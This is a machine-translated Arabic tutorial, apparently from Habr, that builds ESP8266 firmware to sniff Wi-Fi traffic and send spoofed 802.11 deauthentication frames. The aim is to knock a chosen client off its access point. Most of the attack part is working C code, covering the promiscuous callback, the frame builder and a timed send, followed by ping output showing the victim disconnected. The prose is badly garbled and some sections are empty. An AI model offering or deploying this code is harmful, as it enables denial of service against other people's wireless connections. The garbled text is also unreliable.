وضع مشوش في متحكم ESP-8266

أعتقد أن الكثيرين سيوافقون على أن ESP-8266 هو اختراع عظيم لـ DIY وإنترنت الأشياء. نوع من مستشعر WiFi يمكن توصيله بـ Arduino أو حتى استخدامه بدلاً من Arduino لإرسال ، كقاعدة عامة ، بيانات الطقس إلى الخادم. هناك العديد من البرامج الثابتة المختلفة التي تسمح لك بالقيام بذلك: من مودم المخزون المستخدم مع Arduino ، NodeMCU لمتابعي LUA ، إلى العديد من خوادم الويب المخدومة بالكامل بواسطة ESP (على سبيل المثال ).

الصورة

كقاعدة عامة ، بعد تلقي متحكم صغير من الصين ، من غير المحتمل أن ترغب في كتابة البرامج الثابتة الخاصة بك وسوف تستخدم أحد البرامج المتاحة. هناك سببان لذلك: بغض النظر عن رأيك ، فقد تم تنفيذه بالفعلومن غير المحتمل أن ترغب في التعامل مع SDK الصيني متبل بسخاء مع العكازات والميزات غير الموثقة. ولا تخلط بين تصميم الموقع الجذاب : كتابة البرامج الثابتة لـ ESP هو الألم والمعاناة. إذا كان هذا لا يخيفك ، ثم نرحب. تهدف المقالة إلى أردوينو بأقل خبرة مع ESP: أنت تعرف بالفعل كيفية جمع البرامج الثابتة وكتابتها إلى وحدة التحكم الدقيقة.

كما ترى من الرأس ، سنعمل مباشرة مع مكدس 802.11 ، قدر الإمكان في حالة ESP. الوضع المختلط على ESP - القدرة على إرسال واستقبال حزم البيانات "الغريبة" من الهواء. لا يوجد الكثير من مجالات التطبيق: التحليل الإحصائي (جمع جميع أنواع البيانات ، مثل الازدحام اعتمادًا على التردد) واختراق الشبكات واختراقها. في الحالة الأخيرة ، فإن هواية البرنامج النصي النموذجي للأطفال هي إلغاء المصادقة (فصل) أحد الجيران من جهاز توجيه WiFi الخاص به أثناء لعب DotA / الدبابات. عادة ، لهذا ، يقوم الرأس اللامع بتثبيت Kali Linux ويستخدم مجموعة الهواء * -ng للتخطي ، وسوف نستخدم وحدة تحكم مصغرة.
لماذا؟
, .


لهذا ، بالإضافة إلى الأجهزة ، سنحتاج إلى API (استخدمت مرجع ESP8266 Non-OS SDK API ، قد ينقطع الرابط قريبًا جدًا) ومشروع esp-open-sdk الرائع الذي سيقوم بمعظم تجميع المشروع نيابة عنك. يمكن العثور على مشروع شبه منتهي (لأسباب أخلاقية) بناءً على نتائج هذا المنشور على github .

اذن. من لا يعرف - قطعاتصال واي فاي الخاص بك يمكن أن يكون عن طريق زوج من عشرات بايت من البيانات المرسلة إلى استر قريب. التشفير لا يساعد على أسباب المفاهيمية بحتة: deauth المقدمة لتلك المناسبات عندما يتم فقدان الاتصال سيئة والحزم. وفقا لذلك، تحتاج آلية فعالة لتصرخ إلى العميل، "ما زلت، أنا متعب" وبدء الاتصال من نقطة الصفر. ويمكن أن يكون هناك أي تشفير. في حالتنا، دعونا نتظاهر التي لم تنج نقطة الوصول ونيابة عنها سوف ترسل رسالة إلى سعيد العميل. هيكل الحزمة على النحو التالي:

[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]


سيجد جشع المعرفة نفسه ما تعنيه الثوابت السحرية ، لكنني سأصف بإيجاز المتغيرات:

  • سيتم تجاوز two_random_bytes بواسطة وحدة التحكم الدقيقة ؛
  • client_MAC_address 6 بايت من العنوان الفعلي لجهاز MAC الخاص بالعميل ؛
  • ap_MAC_address 6 بايت من العنوان الفعلي لجهاز MAC الخاص بالخادم (جهاز التوجيه ، نقطة الوصول) ؛
  • seq_N_lo، مرحبا صغار وكبار seq_n بايت، رقم تسلسل الحزمة، مضروبا 16 (محجوزة أقل 4 بت كبيرة لاحتمال توجيه نفس الحزمة مرة أخرى)


لذا

الخطوة 1: ضع ESP في وضع المحطة

بعد تعليقات غير مزعجة من الأصدقاء الصينيين ، هذا ضروري ببساطة (لا يوجد تفسير).

void ICACHE_FLASH_ATTR
user_init()
{
    uart_init(115200, 115200);
    os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
    
    // Promiscuous works only with station mode
    wifi_set_opmode(STATION_MODE);
    
    // Set timer for deauth
    os_timer_disarm(&deauth_timer);
    os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
    os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
    
    // Continue to 'sniffer_system_init_done'
    system_init_done_cb(sniffer_system_init_done);
}


من بين أمور أخرى، نحن نضع هنا سرعة المدخلات والمخرجات من المسلسل ليكون قادرا على قراءة رسائل التصحيح، استخدام المدمج في توقيت لاستدعاء أسلوب deauth كل مللي DEAUTH_INTERVAL وتعطيك الفرصة poshurshat ESP قبل الانتقال إلى المرحلة الثانية من التهيئة.

لماذا؟
, user-defined ESP , WiFi , . while(1) watchdog .


الخطوة 2: ضع ESP في الوضع المختلط

للقيام بذلك، نحدد sniffer_system_init_done وظيفة التي تم استخدامها سابقا.
void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
    // Set up promiscuous callback
    wifi_set_channel(channel);
    wifi_promiscuous_enable(0);
    wifi_set_promiscuous_rx_cb(promisc_cb);
    wifi_promiscuous_enable(1);
}

هنا نقوم بتعيين نطاق WiFi (قناة إرسال / استقبال البيانات ، انظر التعليمات الخاصة ببلدك) ، وتسجيل رد الاتصال لتلقي حزم promisc_cb وتشغيل الوضع المختلط. لماذا لدينا هذا الاستدعاء؟

الخطوة 3: شم الحزم

تشير إحدى معلمات deauth للحزمة ، seq_n ، إلى أننا تلقينا الحزم السابقة ونعلم الرقم التسلسلي للحزمة التالية. لهذا نحن بحاجة للاستماع إلى اتصال شخص آخر وتسجيل هذا seq_n.

static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
    if (len == 12){
        struct RxControl *sniffer = (struct RxControl*) buf;
    } else if (len == 128) {
        struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
    } else {
        struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
        int i=0;
        // Check MACs
        for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
        for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
        // Update sequence number
        seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
    }
}


تتالي إذا-S المرتبطة السحر الاسود متنوعة من 802.11. بالطبع ، يدعم ESP فقط المجموعة الأكثر ضرورة ولا يعمل ، على سبيل المثال ، بتردد 5 جيجا هرتز. تتوفر وصف جميع الهياكل في الوثائق والأمثلة ، ولكننا بحاجة إلى واحد صغير: حقل البيانات الشم- buf في هذه الحالة. علينا التحقق من أن حزمة جاءت من نقطة الوصول وتوجهت للضحية لدينا، وإذا كان الأمر كذلك، الكتابة 2 بايت seq_n. بالمناسبة ، الحزم في الاتجاه المعاكس لها ترقيم منفصل.

الخطوة 4: إرسال

الشيء الوحيد هو إرسال الحزمة.

uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
    int i=0;
    
    // Type: deauth
    buf[0] = 0xC0;
    buf[1] = 0x00;
    // Duration 0 msec, will be re-written by ESP
    buf[2] = 0x00;
    buf[3] = 0x00;
    // Destination
    for (i=0; i<6; i++) buf[i+4] = client[i];
    // Sender
    for (i=0; i<6; i++) buf[i+10] = ap[i];
    for (i=0; i<6; i++) buf[i+16] = ap[i];
    // Seq_n
    buf[22] = seq % 0xFF;
    buf[23] = seq / 0xFF;
    // Deauth reason
    buf[24] = 1;
    buf[25] = 0;
    return 26;
}

/* Sends deauth packets. */
void deauth(void *arg)
{
    os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
    // Sequence number is increased by 16, see 802.11
    uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
    wifi_send_pkt_freedom(packet_buffer, size, 0);
}


تقوم الوظيفة الأولى بكتابة البيانات الضرورية للمخزن المؤقت ، بينما تقوم الثانية بإرسالها.

الخطوة 5: التحقق

لاختبار الأداء ، استخدمت جهاز الكمبيوتر الخاص بي .
النتائج تتحدث عن نفسها
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms



للاطلاع على تحليل موضوعي يمكن استخدام يريشارك:



حزمة يمكن أن ينظر إليه على وجه التحديد في الشكل الذي أرسلنا له.

لذلك، فإنه يعمل حقا؟ لا. في الإصدارات الحالية من SDK هو كسر pofiksili. حزم البث يمكن إرسالها، ولكن ليس أكثر. ولكن SDK القديم وقد حافظت بمحبة وتتوفر كجزء من مثال على جيثب . استخدام بحذر.

Source: https://habr.com/ru/post/ar397741/


All Articles